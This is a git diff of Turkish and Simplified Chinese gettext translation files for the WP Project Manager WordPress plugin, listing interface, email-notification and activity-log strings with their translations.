views/assets/src/components/settings/general.vue:47 +msgid "Completed Tasks Per Page" +msgstr "" + +#: views/assets/src/components/settings/general.vue:55 +msgid "Project Managing Capability" +msgstr "" + +#: views/assets/src/components/settings/general.vue:65 +#: views/assets/src/components/settings/general.vue:81 +msgid "Select the user roles who can see and manage all projects." +msgstr "" + +#: views/assets/src/components/settings/general.vue:71 +msgid "Project Creation Capability" +msgstr "" + +#: views/emails/html/complete-task.php:12 +msgid "Task status has been changed" +msgstr "" + +#: views/emails/html/complete-task.php:25 +msgid "Changed by" +msgstr "" + +# @ cpm +#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 +#: views/emails/html/update-task.php:24 +#, fuzzy +#| msgid "Due date" +msgid "due date" +msgstr "Bitiş Tarihi" + +#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +# @ cpm +#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "Görevi Görüntül" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "" + +#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +#: views/emails/mention.php:47 +msgid "View Comment" +msgstr "" + +# @ cpm +#: views/emails/html/new-message.php:12 +msgid "New Message" +msgstr "Yeni Mesaj" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "" + +#: views/emails/html/new-message.php:28 +msgid "Title" +msgstr "" + +# @ cpm +#: views/emails/html/new-message.php:49 +msgid "View Message" +msgstr "Mesajı Görüntüle" + +#: views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +#: views/emails/mention.php:37 +msgid "Hello" +msgstr "" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "" + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "" + +# @ cpm +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "Proje Görüntüle" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "" + +#: views/emails/html/update-project.php:24 +msgid "You are assigned to a project \"%s\" by %s." +msgstr "" + +#: views/emails/html/update-task.php:12 +msgid "Update task has been assigned to you" +msgstr "" + +# @ cpm +#: views/emails/html/update-task.php:18 +#, fuzzy +#| msgid "Update List" +msgid "Updated By" +msgstr "Liste Güncelle" + +#: views/emails/mention.php:39 +msgid "You are mentioned in a comment by" +msgstr "" + +#: views/emails/mention.php:41 +msgid "Please click the link bellow to view the comment." +msgstr "" + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" + +# @ cpm +#~ msgid "Project created by %s" +#~ msgstr "Projeyi Oluşturan%s" + +# @ cpm +#~ msgid "Project details updated by %s" +#~ msgstr "Proje detaylarını enson güncelleyen %s" + +# @ cpm +#~ msgid "Message \"%s\" deleted by %s" +#~ msgstr "Mesaj \"%s\" , \"%s\"Tarafından silindi" + +# @ cpm +#~ msgid "%s deleted a comment" +#~ msgstr "%s hat einen Kommentar gelöscht" + +# @ cpm +#~ msgid "Add a comment..." +#~ msgstr "Yorum ekle..." + +# @ cpm +#~ msgid "Messages" +#~ msgstr "Mesajlar" + +# @ cpm +#~ msgid "message post type" +#~ msgstr "mesaj gönderim tipi" + +# @ cpm +#~ msgid "Edit Message" +#~ msgstr "Mesajı Düzenle" + +# @ cpm +#~ msgid "Search Messages" +#~ msgstr "Mesajlarda Ara" + +# @ cpm +#~ msgid "Parent Message" +#~ msgstr "Ana Mesaj" + +# @ cpm +#~ msgid "Add New Milestone" +#~ msgstr "Yeni Kilometre Taşı Ekle" + +# @ cpm +#~ msgid "New Milestone" +#~ msgstr "Yeni Kilometre Taşı" + +# @ cpm +#~ msgid "View Milestone" +#~ msgstr "Kilometre Taşı Görüntüle" + +# @ cpm +#~ msgid "Search Milestone" +#~ msgstr "Kilometre Taşı Ara" + +# @ cpm +#~ msgid "Parent Milestone" +#~ msgstr "Ana Kilometre Taşı" + +# @ cpm +#~ msgid "project manager post type" +#~ msgstr "proje yönetimi gönderi tipi" + +# @ cpm +#~ msgid "Add Project" +#~ msgstr "Proje Ekle" + +# @ cpm +#~ msgid "Edit Project" +#~ msgstr "Proje Düzenle" + +# @ cpm +#~ msgid "Search Project" +#~ msgstr "Proje Ara" + +# @ cpm +#~ msgid "Parent Project" +#~ msgstr "Ana Proje" + +# @ cpm +#~ msgid "Add Task List" +#~ msgstr "Görev Listesi Ekle" + +# @ cpm +#~ msgid "Add New Task List" +#~ msgstr "Yeni Görev Listesi Ekle" + +# @ cpm +#~ msgid "Edit Task List" +#~ msgstr "Görevl Listesini Düzenle" + +# @ cpm +#~ msgid "View Task List" +#~ msgstr "Görev Listesini Görüntüle" + +# @ cpm +#~ msgid "Search Task List" +#~ msgstr "Görev Listesinde Ara" + +# @ cpm +#~ msgid "Parent Task List" +#~ msgstr "Ana Görev Listesi" + +# @ cpm +#~ msgid "Add New Task" +#~ msgstr "Yeni Görev Ekle" + +# @ cpm +#~ msgid "Edit Task" +#~ msgstr "Görev Düzenle" + +# @ cpm +#~ msgid "New Task" +#~ msgstr "Yeni Görev" + +# @ cpm +#~ msgid "Search Task" +#~ msgstr "Görev Ara" + +# @ cpm +#~ msgid "Parent Task" +#~ msgstr "Ana görev" + +# @ cpm +#~ msgid "Delete project" +#~ msgstr "Projeyi Sil" + +# @ cpm +#~ msgid "Add this comment" +#~ msgstr "Bu yorumu ekle" + +# @ cpm +#~ msgid "late" +#~ msgstr "geç" + +# @ cpm +#~ msgid "Attached to %s by %s" +#~ msgstr "Bağlı dosya %s - %s" + +# @ cpm +#~ msgid "Error: Message not found" +#~ msgstr "Hata: Mesaj bulunamadı" + +# @ cpm +#~ msgid "Error: Project not found" +#~ msgstr "Hata: Proje bulunamadı" + +# @ cpm +#~ msgid "Error: Permission denied" +#~ msgstr "Hata: izin verilmedi" + +# @ cpm +#, fuzzy +#~ msgid "1 Comment" +#~ msgid_plural "%d Comments" +#~ msgstr[0] "1 Yorum" +#~ msgstr[1] "1 Yorum" + +# @ cpm +#~ msgid "Message %s created by %s" +#~ msgstr "Mesaj %s yazan %s" + +# @ cpm +#~ msgid "Message %s updated by %s" +#~ msgstr "Mesaj %s düzenleyen %s" + +# @ cpm +#~ msgid "To-do list %s created by %s" +#~ msgstr "Yapılacaklar listesi %s oluşturan %s" + +# @ cpm +#~ msgid "To-do list %s updated by %s" +#~ msgstr "Yapılacaklar listesi %s düzenleyen %s" + +# @ cpm +#~ msgid "To-do list \"%s\" deleted by %s" +#~ msgstr "Yapılacaklar listesi \"%s\" , \"%s\"Tarafından silindi" + +# @ cpm +#~ msgid "To-do %s added on to-do list %s by %s" +#~ msgstr "Yapılacaklar listesi %s yeni bir öğe eklendi %s ekleyen kişi %s" + +# @ cpm +#~ msgid "To-do %s updated by %s" +#~ msgstr "Yapılacak iş %s düzenleyen %s" + +# @ cpm +#~ msgid "To-do %s completed by %s" +#~ msgstr "Yapılacaklar iş %s tamamlandı %s" + +# @ cpm +#~ msgid "Marked to-do as done" +#~ msgstr "Yapıldı olarak işaretlendi" + +# @ cpm +#~ msgid "To-do %s marked un-done by %s" +#~ msgstr "Yapılacak iş %s yapılmamış olarak işaretlendi %s" + +# @ cpm +#~ msgid "Re-opened to-do" +#~ msgstr "Yeniden yapılacak" + +# @ cpm +#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" +#~ msgstr "Yapılacak iş \"%s\" yapılacaklar listesinden silindi %s , %s" + +# @ cpm +#~ msgid "Milestone \"%s\" added by %s " +#~ msgstr "Kilometre taşı \"%s\" ekleyen %s" + +# @ cpm +#~ msgid "Milestone \"%s\" updated by %s " +#~ msgstr "Kilometre taşı \"%s\" düzenlendi %s" + +# @ cpm +#~ msgid "Milestone \"%s\" deleted by %s " +#~ msgstr "Kilometre taşı \"%s\" silindi %s " + +# @ cpm +#~ msgid "Milestone \"%s\" marked as complete by %s " +#~ msgstr "Kilometre taşı \"%s\" tamamlandı olarak işaretlendi %s " + +# @ cpm +#~ msgid "Milestone \"%s\" marked as incomplete by %s " +#~ msgstr "Kilometre taşı \"%s\" tamamlanmadı olarak işaretlendi %s" + +# @ cpm +#~ msgid "General" +#~ msgstr "Genel" + +# @ cpm +#~ msgid "No Messages Found" +#~ msgstr "Mesaj bulunamadı " + +# @ cpm +#~ msgid "No Messages Found in Trash" +#~ msgstr "Çöpte Mesaj Yok" + +# @ cpm +#~ msgid "No Milestone Found" +#~ msgstr "Kilometre Taşı Bulunamadı" + +# @ cpm +#~ msgid "No Milestone Found in Trash" +#~ msgstr "Çöpte Kilometre Taşı Bulunamadı" + +# @ cpm +#~ msgid "No Project Found in Trash" +#~ msgstr "Çöpte Proje Bulunamadı" + +# @ cpm +#~ msgid "No Task List Found" +#~ msgstr "Görev Listesi Bulunamadı" + +# @ cpm +#~ msgid "No Task List Found in Trash" +#~ msgstr "Çöpte Görev Listesi Bulunamadı" + +# @ cpm +#~ msgid "No Task Found" +#~ msgstr "Görev Bulunamadı" + +# @ cpm +#~ msgid "No Task Found in Trash" +#~ msgstr "Çöpte Görev Bulunamadı" + +# @ cpm +#~ msgid "Select co-workers" +#~ msgstr "Proje Çalışanı Seçin" + +# @ cpm +#~ msgid "Are you sure to delete this to-do?" +#~ msgstr "Bu yapılacak öğeyi silmek istediğinize emin misiniz?" + +# @ cpm +#~ msgid "Add this to-do" +#~ msgstr "Bu öğeyi ekle" + +# @ cpm +#~ msgid "Add a new to-do" +#~ msgstr "Yeni Öğe Ekle" + +# @ cpm +#~ msgid "-- milestone --" +#~ msgstr "-- Kilometre Taşı --" + +# @ cpm +#~ msgid "Are you sure to delete this to-do list?" +#~ msgstr "Yapılacaklar listesini silmek istediğinizden emin misiniz?" + +# @ cpm +#~ msgid "Update comment" +#~ msgstr "Yorumu güncelle" + +# @ cpm +#~ msgid "Edit milestone" +#~ msgstr "Kilometre Taşı Düzenle" + +# @ cpm +#~ msgid "Mark un-complete" +#~ msgstr "Tamamlanmadı İşaretle" + +# @ cpm +#~ msgid "To-do List" +#~ msgstr "Yapılacaklar Listesi" + +# @ cpm +#~ msgid "Notify Co-workers" +#~ msgstr "Proje Sorumlularını Haberdar Et" + +# @ cpm +#~ msgid "thread" +#~ msgstr "iş" + +# @ cpm +#~ msgid "One Comment" +#~ msgid_plural "%s Comments" +#~ msgstr[0] "Bir Yorum" +#~ msgstr[1] "%s Yorum" + +# @ cpm +#~ msgid "Discuss this to-do list" +#~ msgstr "Yapılacak listesini tartışın" + +# @ default +#~ msgid "file size in Megabyte. e.g: 2" +#~ msgstr "Dosya boyutu (MB) Örn: 2" + +# @ cpm +#~ msgid "New Project Subject" +#~ msgstr "Yeni Proje Konusu" + +# @ cpm +#~ msgid "New Project Body" +#~ msgstr "Yeni proje açıklaması" + +# @ cpm +#~ msgid "New Message Subject" +#~ msgstr "Yeni mesaj konusu" + +# @ cpm +#~ msgid "New Message Body" +#~ msgstr "Mesaj" + +# @ cpm +#~ msgid "New Comment Subject" +#~ msgstr "Yeni yorum konusu" + +# @ cpm +#~ msgid "New Assigned Task Subject" +#~ msgstr "Yeni Atanan Görev Konusu" + +# @ cpm +#~ msgid "-- assign to --" +#~ msgstr "-- ata --" + +# @ cpm +#~ msgid "" +#~ "To attach, select files " +#~ "from your computer." +#~ msgstr "" +#~ "Dosyaa Eklemek için, Dosya " +#~ "Seçin." + +# @ cpm +#~ msgid "%d message" +#~ msgid_plural "%d messages" +#~ msgstr[0] "%d mesaj" +#~ msgstr[1] "%d mesaj" + +# @ cpm +#~ msgid "%d to-do list" +#~ msgid_plural "%d to-do lists" +#~ msgstr[0] "%d yapılacak listesi" +#~ msgstr[1] "%d yapılacak listeleri" + +# @ cpm +#~ msgid "%d to-do" +#~ msgid_plural "%d to-dos" +#~ msgstr[0] "%d yapılacak" +#~ msgstr[1] "%d yapılacaklar" + +# @ cpm +#~ msgid "%d milestone" +#~ msgid_plural "%d milestones" +#~ msgstr[0] "%d kilometre taşı" +#~ msgstr[1] "%d kilometre taşları" + +# @ cpm +#~ msgid "%d Comments" +#~ msgstr "%d Yorum" + +# @ cpm +#~ msgid "(Completed by %s on %s)" +#~ msgstr "(Tamamlandı %s , % s)" + +# @ cpm +#~ msgid "Tasklist name" +#~ msgstr "Görev Listesi Adı" + +# @ cpm +#~ msgid "Add a to-do" +#~ msgstr "Yapılacak Öğe Ekle" + +# @ cpm +#~ msgid "Message details here" +#~ msgstr "Mesajınızı buraya yazın." + +# @ cpm +#~ msgid "Details about milestone (optional)" +#~ msgstr "Kilometre taşı hakkında ayrıntılar (isteğe bağlı)" + +# @ cpm +#~ msgid "Reopen" +#~ msgstr "Tekrar Aç" + +# @ cpm +#~ msgid "" +#~ "Download or go to the discussion." +#~ msgstr "" +#~ " İndiryada şuraya gidin Tartışma." + +# @ cpm +#~ msgid "No Files Found!" +#~ msgstr "Dosya Bulunamadı!" + +# @ cpm +#~ msgid "Add New" +#~ msgstr "Yeni Ekle" + +# @ cpm +#~ msgid "No messages found! How about adding one?" +#~ msgstr "Hiç mesaj bulunamadı! Ne hakkında mesaj yazıyordunuz?" + +# @ cpm +#~ msgid "← back" +#~ msgstr "← geri" + +# @ cpm +#~ msgid "No Milestone Found!" +#~ msgstr "Kilometre Taşı Bulundu!" + +# @ cpm +#~ msgid "Add new milestone" +#~ msgstr "Yeni Kilometre Taşı Ekle" + +# @ cpm +#~ msgid "Project Info" +#~ msgstr "Proje Hakkında" + +# @ cpm +#~ msgid "Oh dear, no To-do list found!" +#~ msgstr "Yapılacaklar listesi bulunamadı!" + +# @ cpm +#~ msgid "Discuss this to-do" +#~ msgstr "Bu listeyi tartışın" diff --git a/languages/wedevs-project-manager-zh_CN.po b/languages/wedevs-project-manager-zh_CN.po index 9994fa5e8..411175f12 100644 --- a/languages/wedevs-project-manager-zh_CN.po +++ b/languages/wedevs-project-manager-zh_CN.po @@ -1,2068 +1,2068 @@ -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager Chinese\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" -"PO-Revision-Date: 2018-07-11 12:58+0600\n" -"Last-Translator: Amos Lee <470266798@qq.com>\n" -"Language-Team: Amos Lee \n" -"Language: zh_TW\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"X-Poedit-KeywordsList: _e;__;gettext_noop;esc_attr_e\n" -"X-Poedit-Basepath: .\n" -"X-Generator: Poedit 2.0.8\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" -"X-Poedit-SearchPath-0: ..\n" - -#: core/Notifications/Emails/Complete_Task_Notification.php:42 -msgid "[%s] %s Task mark as %s in %s" -msgstr "" - -#: core/Notifications/Emails/New_Comment_Notification.php:53 -#: core/Notifications/Emails/Update_Comment_Notification.php:52 -#: views/emails/html/new-message.php:39 views/emails/mention.php:13 -msgid "Message" -msgstr "消息" - -#: core/Notifications/Emails/New_Comment_Notification.php:58 -#: core/Notifications/Emails/Update_Comment_Notification.php:55 -#: views/emails/mention.php:20 -msgid "Task List" -msgstr "任务列表" - -#: core/Notifications/Emails/New_Comment_Notification.php:63 -#: core/Notifications/Emails/Update_Comment_Notification.php:58 -#: views/assets/js/pm.js:18541 -#: views/assets/src/components/project-overview/directive.js:10 -#: views/emails/mention.php:25 -msgid "Task" -msgstr "任务" - -#: core/Notifications/Emails/New_Comment_Notification.php:68 -#, fuzzy -#| msgid "Files" -msgid "File" -msgstr "文件" - -#: core/Notifications/Emails/New_Comment_Notification.php:81 -msgid "[%s][%s] New Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/New_Message_Notification.php:47 -msgid "[%s][%s] New Message: %s" -msgstr "" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "" - -#: core/Notifications/Emails/New_Task_Notification.php:41 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Comment_Notification.php:49 -msgid "[%s][%s] Update Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Project_Notification.php:24 -#, fuzzy -#| msgid "Update Project" -msgid "[%s] Updated Project: %s" -msgstr "更新项目" - -#: core/Notifications/Emails/Update_Task_Notification.php:40 -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "" - -#: core/Permissions/Access_Project.php:22 -#: core/Permissions/Create_Discuss.php:17 -#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 -#: core/Permissions/Create_Task_List.php:17 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "" - -#: core/Permissions/Complete_Task.php:36 -msgid "You have no permission to change task status." -msgstr "" - -#: core/Permissions/Create_File.php:16 -msgid "You have no permission to create message." -msgstr "" - -#: core/Permissions/Project_Craete_Capability.php:17 -msgid "You have no permission to create project." -msgstr "" - -#: core/Upgrades/Upgrade.php:136 -msgid "" -"WP Project Manager Data Update Required – Please " -"click the button below to update to the latest version." -msgstr "" - -#: core/Upgrades/Upgrade.php:139 -msgid "Run the Update" -msgstr "" - -#: core/Upgrades/Upgrade.php:140 -#, fuzzy -#| msgid "Load More..." -msgid "Read More" -msgstr "加载更多..." - -#: core/Upgrades/Upgrade.php:148 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -#: core/WP/Enqueue_Scripts.php:65 -msgid "Allowed Files" -msgstr "接受的文件" - -#: core/WP/Frontend.php:140 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:167 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/WP/Frontend.php:168 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/WP/Frontend.php:177 -msgid "Read Docs" -msgstr "" - -#: core/WP/Frontend.php:284 -msgid "Get Pro" -msgstr "" - -#: core/WP/Frontend.php:287 core/WP/Menu.php:36 -msgid "Settings" -msgstr "设置" - -#: core/WP/Frontend.php:288 -msgid "Documentation" -msgstr "" - -#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 -msgid "Project Manager" -msgstr "项目" - -#: core/WP/Menu.php:18 -msgid "Projects" -msgstr "项目" - -#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 -msgid "Categories" -msgstr "類別" - -#: core/WP/Menu.php:22 -msgid "My Tasks" -msgstr "" - -#: core/WP/Menu.php:23 -msgid "Calendar" -msgstr "" - -#: core/WP/Menu.php:26 -msgid "Reports" -msgstr "" - -#: core/WP/Menu.php:27 -msgid "Progress" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -msgid "Category title is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:11 -msgid "Category id is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category id must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -msgid "Comment title is required." -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:11 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -msgid "Comment id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment id must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -msgid "Discussion title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -msgid "Discuss title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -msgid "Discuss id is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discuss id must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:97 -msgid "file not found" -msgstr "" - -#: src/Milestone/Controllers/Milestone_Controller.php:58 -msgid "this is mishu" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -msgid "Milestone title is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:11 -msgid "Milestone id is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone id must be greater than zero" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Update_Project.php:12 -msgid "Project id must be greater than zero" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -msgid "Role title is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:11 -msgid "Role id is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role id must be greater than zero" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:11 -msgid "Task id is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:12 -msgid "Task id must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -msgid "Task list title is required." -msgstr "" - -#: src/Task_List/Validators/Update_Task_List.php:11 -#, fuzzy -#| msgid "Tasklist detail" -msgid "Task list id is required." -msgstr "任务详情" - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list id must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s" -msgstr "" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:48 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:58 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:62 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:76 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:80 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:84 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:88 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:94 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:98 -msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:102 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:106 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:110 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:114 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:118 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:140 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task, %2$s." -msgstr "%s评论了%s" - -#: texts/activities.php:144 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "%s更新了%s的评论" - -#: texts/activities.php:148 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "%s更新了%s的评论" - -#: texts/activities.php:152 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "%s更新了%s的评论" - -#: texts/activities.php:158 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task list, %2$s." -msgstr "%s评论了%s" - -#: texts/activities.php:162 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "%s更新了%s的评论" - -#: texts/activities.php:166 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "%s更新了%s的评论" - -#: texts/activities.php:170 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "%s更新了%s的评论" - -#: texts/activities.php:176 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:180 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "%s更新了%s的评论" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:194 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a milestone, %2$s." -msgstr "%s评论了%s" - -#: texts/activities.php:198 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "%s更新了%s的评论" - -#: texts/activities.php:202 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "%s更新了%s的评论" - -#: texts/activities.php:206 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "%s更新了%s的评论" - -#: texts/activities.php:212 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on the project, %2$s." -msgstr "%s评论了%s" - -#: texts/activities.php:216 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "%s更新了%s的评论" - -#: texts/activities.php:220 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -#: texts/activities.php:224 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "%s更新了%s的评论" - -#: texts/activities.php:230 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a file, %2$s." -msgstr "%s评论了%s" - -#: texts/activities.php:234 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "%s更新了%s的评论" - 